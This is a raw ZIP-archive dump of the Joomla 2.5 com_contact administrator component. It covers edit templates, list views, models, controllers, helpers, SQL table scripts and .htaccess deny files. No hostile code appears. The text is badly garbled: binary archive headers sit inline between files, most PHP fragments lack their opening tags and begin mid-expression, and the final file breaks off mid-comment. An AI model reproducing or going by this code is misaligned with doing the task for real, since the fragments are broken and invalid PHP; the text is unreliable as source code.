      • form->getLabel('modified'); ?> form->getInput('modified'); ?>

      item->id) ? JText::_('COM_CONTACT_DETAILS') : JText::sprintf('COM_CONTACT_EDIT_DETAILS', $this->item->id); ?>

      • form->getLabel('image'); ?> form->getInput('image'); ?>
      • form->getLabel('con_position'); ?> form->getInput('con_position'); ?>
      • form->getLabel('email_to'); ?> form->getInput('email_to'); ?>
      • form->getLabel('address'); ?> form->getInput('address'); ?>
      • form->getLabel('suburb'); ?> form->getInput('suburb'); ?>
      • form->getLabel('state'); ?> form->getInput('state'); ?>
      • form->getLabel('postcode'); ?> form->getInput('postcode'); ?>
      • form->getLabel('country'); ?> form->getInput('country'); ?>
      • form->getLabel('telephone'); ?> form->getInput('telephone'); ?>
      • form->getLabel('mobile'); ?> form->getInput('mobile'); ?>
      • form->getLabel('fax'); ?> form->getInput('fax'); ?>
      • form->getLabel('webpage'); ?> form->getInput('webpage'); ?>
      • form->getLabel('sortname1'); ?> form->getInput('sortname1'); ?>
      • form->getLabel('sortname2'); ?> form->getInput('sortname2'); ?>
      • form->getLabel('sortname3'); ?> form->getInput('sortname3'); ?>
      loadTemplate('params'); ?> loadTemplate('metadata'); ?>
      PK@y>\zz9components/com_contact/views/contact/tmpl/edit_params.phpnuW+Aform->getFieldsets('params'); foreach ($fieldSets as $name => $fieldSet) : echo JHtml::_('sliders.panel', JText::_($fieldSet->label), $name.'-params'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

      '.$this->escape(JText::_($fieldSet->description)).'

      '; endif; ?>
        form->getFieldset($name) as $field) : ?>
      • label; ?> input; ?>
      PK@y>\a >>;components/com_contact/views/contact/tmpl/edit_metadata.phpnuW+Aform->getFieldsets('metadata'); foreach ($fieldSets as $name => $fieldSet) : echo JHtml::_('sliders.panel', JText::_($fieldSet->label), $name.'-options'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

      '.$this->escape(JText::_($fieldSet->description)).'

      '; endif; ?>
      • form->getLabel('metadesc'); ?> form->getInput('metadesc'); ?>
      • form->getLabel('metakey'); ?> form->getInput('metakey'); ?>
      • form->getLabel('xreference'); ?> form->getInput('xreference'); ?>
      • form->getFieldset($name) as $field) : ?>
      • label; ?> input; ?>
      PK@y>\)3components/com_contact/views/contact/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V4components/com_contact/views/contact/tmpl/index.htmlnuW+A PK@y>\V/components/com_contact/views/contact/index.htmlnuW+A PK@y>\V5components/com_contact/views/contacts/tmpl/index.htmlnuW+A PK@y>\)4components/com_contact/views/contacts/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\1m""6components/com_contact/views/contacts/tmpl/default.phpnuW+Aget('id'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canOrder = $user->authorise('core.edit.state', 'com_contact.category'); $saveOrder = $listOrder == 'a.ordering'; ?>
      items); foreach ($this->items as $i => $item) : $ordering = $listOrder == 'a.ordering'; $canCreate = $user->authorise('core.create', 'com_contact.category.'.$item->catid); $canEdit = $user->authorise('core.edit', 'com_contact.category.'.$item->catid); $canCheckin = $user->authorise('core.manage', 'com_checkin') || $item->checked_out == $userId || $item->checked_out == 0; $canEditOwn = $user->authorise('core.edit.own', 'com_contact.category.'.$item->catid) && $item->created_by == $userId; $canChange = $user->authorise('core.edit.state', 'com_contact.category.'.$item->catid) && $canCheckin; $item->cat_link = JRoute::_('index.php?option=com_categories&extension=com_contact&task=edit&type=other&id='.$item->catid); ?>
      items, 'filesave.png', 'contacts.saveorder'); ?>
      pagination->getListFooter(); ?>
      id); ?> checked_out) : ?> editor, $item->checked_out_time, 'contacts.', $canCheckin); ?> escape($item->name); ?> escape($item->name); ?>

      escape($item->alias));?>

      linked_user)) : ?> linked_user;?> published, $i, 'contacts.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?> featured, $i, $canChange); ?> category_title; ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid), 'contacts.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $n, ($item->catid == @$this->items[$i+1]->catid), 'contacts.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid), 'contacts.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $n, ($item->catid == @$this->items[$i+1]->catid), 'contacts.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> ordering; ?> access_level; ?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
      authorize('core.create', 'com_contacts') && $user->authorize('core.edit', 'com_contacts') && $user->authorize('core.edit.state', 'com_contacts')) : ?> loadTemplate('batch'); ?>
      PK@y>\Υ~~4components/com_contact/views/contacts/tmpl/modal.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
      items as $i => $item) : ?>
      pagination->getListFooter(); ?>
      escape($item->name); ?> linked_user)) : ?> linked_user;?> escape($item->access_level); ?> escape($item->category_title); ?> language=='*'):?> language_title ? $this->escape($item->language_title) : JText::_('JUNDEFINED'); ?> id; ?>
      PK@y>\7tmm<components/com_contact/views/contacts/tmpl/default_batch.phpnuW+Astate->get('filter.published'); ?>

      = 0) : ?>
      PK@y>\V0components/com_contact/views/contacts/index.htmlnuW+A PK@y>\f)> > 3components/com_contact/views/contacts/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } // Preprocess the list of items to find ordering divisions. // TODO: Complete the ordering stuff with nested sets foreach ($this->items as &$item) { $item->order_up = true; $item->order_dn = true; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { require_once JPATH_COMPONENT.'/helpers/contact.php'; $canDo = ContactHelper::getActions($this->state->get('filter.category_id')); $user = JFactory::getUser(); JToolBarHelper::title(JText::_('COM_CONTACT_MANAGER_CONTACTS'), 'contact.png'); if ($canDo->get('core.create') || (count($user->getAuthorisedCategories('com_contact', 'core.create'))) > 0) { JToolBarHelper::addNew('contact.add'); } if (($canDo->get('core.edit')) || ($canDo->get('core.edit.own'))) { JToolBarHelper::editList('contact.edit'); } if ($canDo->get('core.edit.state')) { JToolBarHelper::divider(); JToolBarHelper::publish('contacts.publish', 'JTOOLBAR_PUBLISH', true); JToolBarHelper::unpublish('contacts.unpublish', 'JTOOLBAR_UNPUBLISH', true); JToolBarHelper::divider(); JToolBarHelper::archiveList('contacts.archive'); JToolBarHelper::checkin('contacts.checkin'); } if ($this->state->get('filter.published') == -2 && $canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'contacts.delete', 'JTOOLBAR_EMPTY_TRASH'); JToolBarHelper::divider(); } elseif ($canDo->get('core.edit.state')) { JToolBarHelper::trash('contacts.trash'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_contact'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_COMPONENTS_CONTACTS_CONTACTS'); } } PK@y>\)/components/com_contact/views/contacts/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)&components/com_contact/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)'components/com_contact/models/.htaccessnuW+A Order allow,deny Deny from all PK@y>\R..)components/com_contact/models/contact.phpnuW+AsetError(JText::_('JGLOBAL_NO_ITEM_SELECTED')); return false; } $done = false; if (!empty($commands['category_id'])) { $cmd = JArrayHelper::getValue($commands, 'move_copy', 'c'); if ($cmd == 'c') { $result = $this->batchCopy($commands['category_id'], $pks, $contexts); if (is_array($result)) { $pks = $result; } else { return false; } } elseif ($cmd == 'm' && !$this->batchMove($commands['category_id'], $pks, $contexts)) { return false; } $done = true; } if (!empty($commands['assetgroup_id'])) { if (!$this->batchAccess($commands['assetgroup_id'], $pks, $contexts)) { return false; } $done = true; } if (!empty($commands['language_id'])) { if (!$this->batchLanguage($commands['language_id'], $pks, $contexts)) { return false; } $done = true; } if (strlen($commands['user_id']) > 0) { if (!$this->batchUser($commands['user_id'], $pks, $contexts)) { return false; } $done = true; } if (!$done) { $this->setError(JText::_('JLIB_APPLICATION_ERROR_INSUFFICIENT_BATCH_INFORMATION')); return false; } // Clear the cache $this->cleanCache(); return true; } /** * Batch copy items to a new category or current. * * @param integer $value The new category. * @param array $pks An array of row IDs. * @param array $contexts An array of item contexts. * * @return mixed An array of new IDs on success, boolean false on failure. * * @since 11.1 */ protected function batchCopy($value, $pks, $contexts) { $categoryId = (int) $value; $table = $this->getTable(); $i = 0; // Check that the category exists if ($categoryId) { $categoryTable = JTable::getInstance('Category'); if (!$categoryTable->load($categoryId)) { if ($error = $categoryTable->getError()) { // Fatal error $this->setError($error); return false; } else { $this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_MOVE_CATEGORY_NOT_FOUND')); return false; } } } if (empty($categoryId)) { $this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_MOVE_CATEGORY_NOT_FOUND')); return false; } // Check that the user has create permission for the component $user = JFactory::getUser(); if (!$user->authorise('core.create', 'com_contact.category.' . $categoryId)) { $this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_CREATE')); return false; } // Parent exists so we let's proceed while (!empty($pks)) { // Pop the first ID off the stack $pk = array_shift($pks); $table->reset(); // Check that the row actually exists if (!$table->load($pk)) { if ($error = $table->getError()) { // Fatal error $this->setError($error); return false; } else { // Not fatal error $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_BATCH_MOVE_ROW_NOT_FOUND', $pk)); continue; } } // Alter the title & alias $data = $this->generateNewTitle($categoryId, $table->alias, $table->name); $table->name = $data['0']; $table->alias = $data['1']; // Reset the ID because we are making a copy $table->id = 0; // New category ID $table->catid = $categoryId; // TODO: Deal with ordering? //$table->ordering = 1; // Check the row. if (!$table->check()) { $this->setError($table->getError()); return false; } // Store the row. if (!$table->store()) { $this->setError($table->getError()); return false; } // Get the new item ID $newId = $table->get('id'); // Add the new ID to the array $newIds[$i] = $newId; $i++; } // Clean the cache $this->cleanCache(); return $newIds; } /** * Batch change a linked user. * * @param integer $value The new value matching a User ID. * @param array $pks An array of row IDs. * @param array $contexts An array of item contexts. * * @return boolean True if successful, false otherwise and internal error is set. * * @since 2.5 */ protected function batchUser($value, $pks, $contexts) { // Set the variables $user = JFactory::getUser(); $table = $this->getTable(); foreach ($pks as $pk) { if ($user->authorise('core.edit', $contexts[$pk])) { $table->reset(); $table->load($pk); $table->user_id = (int) $value; if (!$table->store()) { $this->setError($table->getError()); return false; } } else { $this->setError(JText::_('JLIB_APPLICATION_ERROR_BATCH_CANNOT_EDIT')); return false; } } // Clean the cache $this->cleanCache(); return true; } /** * Method to test whether a record can be deleted. * * @param object $record A record object. * * @return boolean True if allowed to delete the record. Defaults to the permission set in the component. * @since 1.6 */ protected function canDelete($record) { if (!empty($record->id)) { if ($record->published != -2) { return ; } $user = JFactory::getUser(); return $user->authorise('core.delete', 'com_contact.category.'.(int) $record->catid); } } /** * Method to test whether a record can have its state edited. * * @param object $record A record object. * * @return boolean True if allowed to change the state of the record. Defaults to the permission set in the component. * @since 1.6 */ protected function canEditState($record) { $user = JFactory::getUser(); // Check against the category. if (!empty($record->catid)) { return $user->authorise('core.edit.state', 'com_contact.category.'.(int) $record->catid); } // Default to component settings if category not known. else { return parent::canEditState($record); } } /** * Returns a Table object, always creating it * * @param type $type The table type to instantiate * @param string $prefix A prefix for the table class name. Optional. * @param array $config Configuration array for model. Optional. * * @return JTable A database object * @since 1.6 */ public function getTable($type = 'Contact', $prefix = 'ContactTable', $config = array()) { return JTable::getInstance($type, $prefix, $config); } /** * Method to get the row form. * * @param array $data Data for the form. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * * @return mixed A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { JForm::addFieldPath('JPATH_ADMINISTRATOR/components/com_users/models/fields'); // Get the form. $form = $this->loadForm('com_contact.contact', 'contact', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } // Modify the form based on access controls. if (!$this->canEditState((object) $data)) { // Disable fields for display. $form->setFieldAttribute('featured', 'disabled', 'true'); $form->setFieldAttribute('ordering', 'disabled', 'true'); $form->setFieldAttribute('published', 'disabled', 'true'); // Disable fields while saving. // The controller has already verified this is a record you can edit. $form->setFieldAttribute('featured', 'filter', 'unset'); $form->setFieldAttribute('ordering', 'filter', 'unset'); $form->setFieldAttribute('published', 'filter', 'unset'); } return $form; } /** * Method to get a single record. * * @param integer $pk The id of the primary key. * * @return mixed Object on success, false on failure. * @since 1.6 */ public function getItem($pk = null) { if ($item = parent::getItem($pk)) { // Convert the params field to an array. $registry = new JRegistry; $registry->loadString($item->metadata); $item->metadata = $registry->toArray(); } return $item; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { // Check the session for previously entered form data. $data = JFactory::getApplication()->getUserState('com_contact.edit.contact.data', array()); if (empty($data)) { $data = $this->getItem(); // Prime some default values. if ($this->getState('contact.id') == 0) { $app = JFactory::getApplication(); $data->set('catid', JRequest::getInt('catid', $app->getUserState('com_contact.contacts.filter.category_id'))); } } return $data; } /** * Prepare and sanitise the table prior to saving. * * @param JTable $table * * @return void * @since 1.6 */ protected function prepareTable(&$table) { $date = JFactory::getDate(); $user = JFactory::getUser(); $table->name = htmlspecialchars_decode($table->name, ENT_QUOTES); $table->alias = JApplication::stringURLSafe($table->alias); if (empty($table->alias)) { $table->alias = JApplication::stringURLSafe($table->name); } if (empty($table->id)) { // Set the values //$table->created = $date->toSql(); // Set ordering to the last item if not set if (empty($table->ordering)) { $db = JFactory::getDbo(); $db->setQuery('SELECT MAX(ordering) FROM #__contact_details'); $max = $db->loadResult(); $table->ordering = $max+1; } } else { // Set the values //$table->modified = $date->toSql(); //$table->modified_by = $user->get('id'); } } /** * A protected method to get a set of ordering conditions. * * @param JTable $table A record object. * * @return array An array of conditions to add to add to ordering queries. * @since 1.6 */ protected function getReorderConditions($table) { $condition = array(); $condition[] = 'catid = '.(int) $table->catid; return $condition; } /** * Method to toggle the featured setting of contacts. * * @param array $pks The ids of the items to toggle. * @param int $value The value to toggle to. * * @return boolean True on success. * @since 1.6 */ public function featured($pks, $value = 0) { // Sanitize the ids. $pks = (array) $pks; JArrayHelper::toInteger($pks); if (empty($pks)) { $this->setError(JText::_('COM_CONTACT_NO_ITEM_SELECTED')); return false; } $table = $this->getTable(); try { $db = $this->getDbo(); $db->setQuery( 'UPDATE #__contact_details' . ' SET featured = '.(int) $value. ' WHERE id IN ('.implode(',', $pks).')' ); if (!$db->query()) { throw new Exception($db->getErrorMsg()); } } catch (Exception $e) { $this->setError($e->getMessage()); return false; } $table->reorder(); // Clean component's cache $this->cleanCache(); return true; } } PK@y>\V(components/com_contact/models/index.htmlnuW+A PK@y>\1*components/com_contact/models/contacts.phpnuW+Acontext .= '.'.$layout; } $search = $this->getUserStateFromRequest($this->context.'.filter.search', 'filter_search'); $this->setState('filter.search', $search); $access = $this->getUserStateFromRequest($this->context.'.filter.access', 'filter_access', 0, 'int'); $this->setState('filter.access', $access); $published = $this->getUserStateFromRequest($this->context.'.filter.published', 'filter_published', ''); $this->setState('filter.published', $published); $categoryId = $this->getUserStateFromRequest($this->context.'.filter.category_id', 'filter_category_id'); $this->setState('filter.category_id', $categoryId); $language = $this->getUserStateFromRequest($this->context.'.filter.language', 'filter_language', ''); $this->setState('filter.language', $language); // List state information. parent::populateState('a.name', 'asc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. * @since 1.6 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.search'); $id .= ':'.$this->getState('filter.access'); $id .= ':'.$this->getState('filter.published'); $id .= ':'.$this->getState('filter.category_id'); $id .= ':'.$this->getState('filter.language'); return parent::getStoreId($id); } /** * Build an SQL query to load the list data. * * @return JDatabaseQuery * @since 1.6 */ protected function getListQuery() { // Create a new query object. $db = $this->getDbo(); $query = $db->getQuery(true); $user = JFactory::getUser(); // Select the required fields from the table. $query->select( $this->getState( 'list.select', 'a.id, a.name, a.alias, a.checked_out, a.checked_out_time, a.catid, a.user_id' . ', a.published, a.access, a.created, a.created_by, a.ordering, a.featured, a.language'. ', a.publish_up, a.publish_down' ) ); $query->from('#__contact_details AS a'); // Join over the users for the linked user. $query->select('ul.name AS linked_user'); $query->join('LEFT', '#__users AS ul ON ul.id=a.user_id'); // Join over the language $query->select('l.title AS language_title'); $query->join('LEFT', $db->quoteName('#__languages').' AS l ON l.lang_code = a.language'); // Join over the users for the checked out user. $query->select('uc.name AS editor'); $query->join('LEFT', '#__users AS uc ON uc.id=a.checked_out'); // Join over the asset groups. $query->select('ag.title AS access_level'); $query->join('LEFT', '#__viewlevels AS ag ON ag.id = a.access'); // Join over the categories. $query->select('c.title AS category_title'); $query->join('LEFT', '#__categories AS c ON c.id = a.catid'); // Filter by access level. if ($access = $this->getState('filter.access')) { $query->where('a.access = ' . (int) $access); } // Implement View Level Access if (!$user->authorise('core.admin')) { $groups = implode(',', $user->getAuthorisedViewLevels()); $query->where('a.access IN ('.$groups.')'); } // Filter by published state $published = $this->getState('filter.published'); if (is_numeric($published)) { $query->where('a.published = ' . (int) $published); } elseif ($published === '') { $query->where('(a.published = 0 OR a.published = 1)'); } // Filter by a single or group of categories. $categoryId = $this->getState('filter.category_id'); if (is_numeric($categoryId)) { $query->where('a.catid = '.(int) $categoryId); } elseif (is_array($categoryId)) { JArrayHelper::toInteger($categoryId); $categoryId = implode(',', $categoryId); $query->where('a.catid IN ('.$categoryId.')'); } // Filter by search in name. $search = $this->getState('filter.search'); if (!empty($search)) { if (stripos($search, 'id:') === 0) { $query->where('a.id = '.(int) substr($search, 3)); } elseif (stripos($search, 'author:') === 0) { $search = $db->Quote('%'.$db->escape(substr($search, 7), true).'%'); $query->where('(uc.name LIKE '.$search.' OR uc.username LIKE '.$search.')'); } else { $search = $db->Quote('%'.$db->escape($search, true).'%'); $query->where('(a.name LIKE '.$search.' OR a.alias LIKE '.$search.')'); } } // Filter on the language. if ($language = $this->getState('filter.language')) { $query->where('a.language = '.$db->quote($language)); } // Add the list ordering clause. $orderCol = $this->state->get('list.ordering', 'a.name'); $orderDirn = $this->state->get('list.direction', 'asc'); if ($orderCol == 'a.ordering' || $orderCol == 'category_title') { $orderCol = 'c.title '.$orderDirn.', a.ordering'; } $query->order($db->escape($orderCol.' '.$orderDirn)); //echo nl2br(str_replace('#__','jos_',$query)); return $query; } } PK@y>\V.components/com_contact/models/forms/index.htmlnuW+A PK@y>\)-components/com_contact/models/forms/.htaccessnuW+A Order allow,deny Deny from all PK@y>\x*~L
      PK@y>\V/components/com_contact/models/fields/index.htmlnuW+A PK@y>\p 7components/com_contact/models/fields/modal/contacts.phpnuW+Aid.'(id, name, object) {'; $script[] = ' document.id("'.$this->id.'_id").value = id;'; $script[] = ' document.id("'.$this->id.'_name").value = name;'; $script[] = ' SqueezeBox.close();'; $script[] = ' }'; // Add the script to the document head. JFactory::getDocument()->addScriptDeclaration(implode("\n", $script)); // Get the title of the linked chart $db = JFactory::getDBO(); $db->setQuery( 'SELECT name' . ' FROM #__contact_details' . ' WHERE id = '.(int) $this->value ); $title = $db->loadResult(); if ($error = $db->getErrorMsg()) { JError::raiseWarning(500, $error); } if (empty($title)) { $title = JText::_('COM_CONTACT_SELECT_A_CONTACT'); } $link = 'index.php?option=com_contact&view=contacts&layout=modal&tmpl=component&function=jSelectChart_'.$this->id; $html = "\n".'
      '; $html .= ''."\n"; // The active contact id field. if (0 == (int)$this->value) { $value = ''; } else { $value = (int)$this->value; } // class='required' for client side validation $class = ''; if ($this->required) { $class = ' class="required modal-value"'; } $html .= ''; return $html; } } PK@y>\)4components/com_contact/models/fields/modal/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V5components/com_contact/models/fields/modal/index.htmlnuW+A PK@y>\061components/com_contact/models/fields/ordering.phpnuW+Aelement['class'] ? ' class="'.(string) $this->element['class'].'"' : ''; $attr .= ((string) $this->element['disabled'] == 'true') ? ' disabled="disabled"' : ''; $attr .= $this->element['size'] ? ' size="'.(int) $this->element['size'].'"' : ''; // Initialize JavaScript field attributes. $attr .= $this->element['onchange'] ? ' onchange="'.(string) $this->element['onchange'].'"' : ''; // Get some field values from the form. $contactId = (int) $this->form->getValue('id'); $categoryId = (int) $this->form->getValue('catid'); // Build the query for the ordering list. $query = 'SELECT ordering AS value, name AS text' . ' FROM #__contact_details' . ' WHERE catid = ' . (int) $categoryId . ' ORDER BY ordering'; // Create a read-only list (no name) with a hidden input to store the value. if ((string) $this->element['readonly'] == 'true') { $html[] = JHtml::_('list.ordering', '', $query, trim($attr), $this->value, $contactId ? 0 : 1); $html[] = ''; } // Create a regular list. else { $html[] = JHtml::_('list.ordering', $this->name, $query, trim($attr), $this->value, $contactId ? 0 : 1); } return implode($html); } } PK@y>\).components/com_contact/models/fields/.htaccessnuW+A Order allow,deny Deny from all PK@y>\s']  "components/com_contact/contact.xmlnuW+A com_contact Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_CONTACT_XML_DESCRIPTION sql/install.mysql.utf8.sql sql/uninstall.mysql.utf8.sql contact.php controller.php index.html metadata.xml router.php helpers models views language/en-GB.com_contact.ini com_contact com_contact_contacts com_contact_categories access.xml config.xml contact.php controller.php index.html controllers elements helpers models tables views language/en-GB.com_contact.ini language/en-GB.com_contact.sys.ini PK@y>\]**"components/com_contact/contact.phpnuW+Aauthorise('core.manage', 'com_contact')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } $controller = JControllerLegacy::getInstance('contact'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PK@y>\)-components/com_contact/helpers/html/.htaccessnuW+A Order allow,deny Deny from all PK@y>\J(/components/com_contact/helpers/html/contact.phpnuW+A array('disabled.png', 'contacts.featured', 'COM_CONTACT_UNFEATURED', 'COM_CONTACT_TOGGLE_TO_FEATURE'), 1 => array('featured.png', 'contacts.unfeatured', 'JFEATURED', 'COM_CONTACT_TOGGLE_TO_UNFEATURE'), ); $state = JArrayHelper::getValue($states, (int) $value, $states[1]); $html = JHtml::_('image', 'admin/'.$state[0], JText::_($state[2]), NULL, true); if ($canChange) { $html = '' . $html .''; } return $html; } } PK@y>\V.components/com_contact/helpers/html/index.htmlnuW+A PK@y>\)(components/com_contact/helpers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\888*components/com_contact/helpers/contact.phpnuW+Aset($action->name, $user->authorise($action->name, $assetName)); } return $result; } } PK@y>\V)components/com_contact/helpers/index.htmlnuW+A PK@y>\V-components/com_contact/controllers/index.htmlnuW+A PK@y>\f%vr r /components/com_contact/controllers/contacts.phpnuW+AregisterTask('unfeatured', 'featured'); } /** * Method to toggle the featured setting of a list of contacts. * * @return void * @since 1.6 */ function featured() { // Check for request forgeries JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Initialise variables. $user = JFactory::getUser(); $ids = JRequest::getVar('cid', array(), '', 'array'); $values = array('featured' => 1, 'unfeatured' => 0); $task = $this->getTask(); $value = JArrayHelper::getValue($values, $task, 0, 'int'); // Get the model. $model = $this->getModel(); // Access checks. foreach ($ids as $i => $id) { $item = $model->getItem($id); if (!$user->authorise('core.edit.state', 'com_contact.category.'.(int) $item->catid)) { // Prune items that you can't change. unset($ids[$i]); JError::raiseNotice(403, JText::_('JLIB_APPLICATION_ERROR_EDITSTATE_NOT_PERMITTED')); } } if (empty($ids)) { JError::raiseWarning(500, JText::_('COM_CONTACT_NO_ITEM_SELECTED')); } else { // Publish the items. if (!$model->featured($ids, $value)) { JError::raiseWarning(500, $model->getError()); } } $this->setRedirect('index.php?option=com_contact&view=contacts'); } /** * Proxy for getModel. * * @param string $name The name of the model. * @param string $prefix The prefix for the PHP class name. * * @return JModel * @since 1.6 */ public function getModel($name = 'Contact', $prefix = 'ContactModel', $config = array('ignore_request' => true)) { $model = parent::getModel($name, $prefix, $config); return $model; } } PK@y>\),components/com_contact/controllers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\X[e e .components/com_contact/controllers/contact.phpnuW+Aauthorise('core.create', $this->option . '.category.' . $categoryId); } if ($allow === null) { // In the absense of better information, revert to the component permissions. return parent::allowAdd($data); } else { return $allow; } } /** * Method override to check if you can edit an existing record. * * @param array $data An array of input data. * @param string $key The name of the key for the primary key. * * @return boolean * * @since 1.6 */ protected function allowEdit($data = array(), $key = 'id') { // Initialise variables. $recordId = (int) isset($data[$key]) ? $data[$key] : 0; $categoryId = 0; if ($recordId) { $categoryId = (int) $this->getModel()->getItem($recordId)->catid; } if ($categoryId) { // The category has been set. Check the category permissions. return JFactory::getUser()->authorise('core.edit', $this->option . '.category.' . $categoryId); } else { // Since there is no asset tracking, revert to the component permissions. return parent::allowEdit($data, $key); } } /** * Method to run batch operations. * * @param object $model The model. * * @return boolean True if successful, false otherwise and internal error is set. * * @since 2.5 */ public function batch($model = null) { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Set the model $model = $this->getModel('Contact', '', array()); // Preset the redirect $this->setRedirect(JRoute::_('index.php?option=com_contact&view=contacts' . $this->getRedirectToListAppend(), false)); return parent::batch($model); } } PK@y>\,,3components/com_contact/sql/uninstall.mysql.utf8.sqlnuW+ADROP TABLE IF EXISTS `#__contact_details`; PK@y>\V%components/com_contact/sql/index.htmlnuW+A PK@y>\51components/com_contact/sql/install.mysql.utf8.sqlnuW+ACREATE TABLE `#__contact_details` ( `id` integer NOT NULL auto_increment, `name` varchar(255) NOT NULL default '', `alias` varchar(255) NOT NULL default '', `con_position` varchar(255) default NULL, `address` text, `suburb` varchar(100) default NULL, `state` varchar(100) default NULL, `country` varchar(100) default NULL, `postcode` varchar(100) default NULL, `telephone` varchar(255) default NULL, `fax` varchar(255) default NULL, `misc` mediumtext, `image` varchar(255) default NULL, `imagepos` varchar(20) default NULL, `email_to` varchar(255) default NULL, `default_con` tinyint(1) unsigned NOT NULL default '0', `published` tinyint(1) NOT NULL default '0', `checked_out` integer unsigned NOT NULL default '0', `checked_out_time` datetime NOT NULL default '0000-00-00 00:00:00', `ordering` integer NOT NULL default '0', `params` text NOT NULL, `user_id` integer NOT NULL default '0', `catid` integer NOT NULL default '0', `access` tinyint(3) unsigned NOT NULL default '0', `mobile` varchar(255) NOT NULL default '', `webpage` varchar(255) NOT NULL default '', `sortname1` varchar(255) NOT NULL, `sortname2` varchar(255) NOT NULL, `sortname3` varchar(255) NOT NULL, `language` char(7) NOT NULL, `created` datetime NOT NULL default '0000-00-00 00:00:00', `created_by` int(10) unsigned NOT NULL default '0', `created_by_alias` varchar(255) NOT NULL default '', `modified` datetime NOT NULL default '0000-00-00 00:00:00', `modified_by` int(10) unsigned NOT NULL default '0', `metakey` text NOT NULL, `metadesc` text NOT NULL, `metadata` text NOT NULL, `featured` tinyint(3) unsigned NOT NULL default '0' COMMENT 'Set if article is featured.', `xreference` varchar(50) NOT NULL COMMENT 'A reference to enable linkages to external data sets.', `publish_up` datetime NOT NULL default '0000-00-00 00:00:00', `publish_down` datetime NOT NULL default '0000-00-00 00:00:00', PRIMARY KEY (`id`), KEY `idx_access` (`access`), KEY `idx_checkout` (`checked_out`), KEY `idx_state` (`published`), KEY `idx_catid` (`catid`), KEY `idx_createdby` (`created_by`), KEY `idx_featured_catid` (`featured`,`catid`), KEY `idx_language` (`language`), KEY `idx_xreference` (`xreference`) ) DEFAULT CHARSET=utf8; PK@y>\)$components/com_contact/sql/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V*components/com_contact/elements/index.htmlnuW+A PK@y>\Q,+components/com_contact/elements/contact.phpnuW+AgetTemplate(); $fieldName = $control_name.'['.$name.']'; $contact = JTable::getInstance('contact'); if ($value) { $contact->load($value); } else { $contact->title = JText::_('COM_CONTENT_SELECT_A_CONTACT'); } $js = " function jSelectContact(id, name, object) { document.getElementById(object + '_id').value = id; document.getElementById(object + '_name').value = name; document.getElementById('sbox-window').close(); }"; $doc->addScriptDeclaration($js); $link = 'index.php?option=com_contact&task=element&tmpl=component&object='.$name; JHtml::_('behavior.modal', 'a.modal'); $html = "\n".'
      '; // $html .= "\n   "; $html .= ''."\n"; $html .= "\n".''; return $html; } } PK@y>\))components/com_contact/elements/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V(components/com_contact/tables/index.htmlnuW+A PK@y>\#cJ)components/com_contact/tables/contact.phpnuW+AloadArray($array['params']); $array['params'] = (string) $registry; } if (isset($array['metadata']) && is_array($array['metadata'])) { $registry = new JRegistry(); $registry->loadArray($array['metadata']); $array['metadata'] = (string) $registry; } return parent::bind($array, $ignore); } /** * Stores a contact * * @param boolean True to update fields even if they are null. * @return boolean True on success, false on failure. * @since 1.6 */ public function store($updateNulls = false) { // Transform the params field if (is_array($this->params)) { $registry = new JRegistry(); $registry->loadArray($this->params); $this->params = (string)$registry; } $date = JFactory::getDate(); $user = JFactory::getUser(); if ($this->id) { // Existing item $this->modified = $date->toSql(); $this->modified_by = $user->get('id'); } else { // New newsfeed. A feed created and created_by field can be set by the user, // so we don't touch either of these if they are set. if (!intval($this->created)) { $this->created = $date->toSql(); } if (empty($this->created_by)) { $this->created_by = $user->get('id'); } } // Verify that the 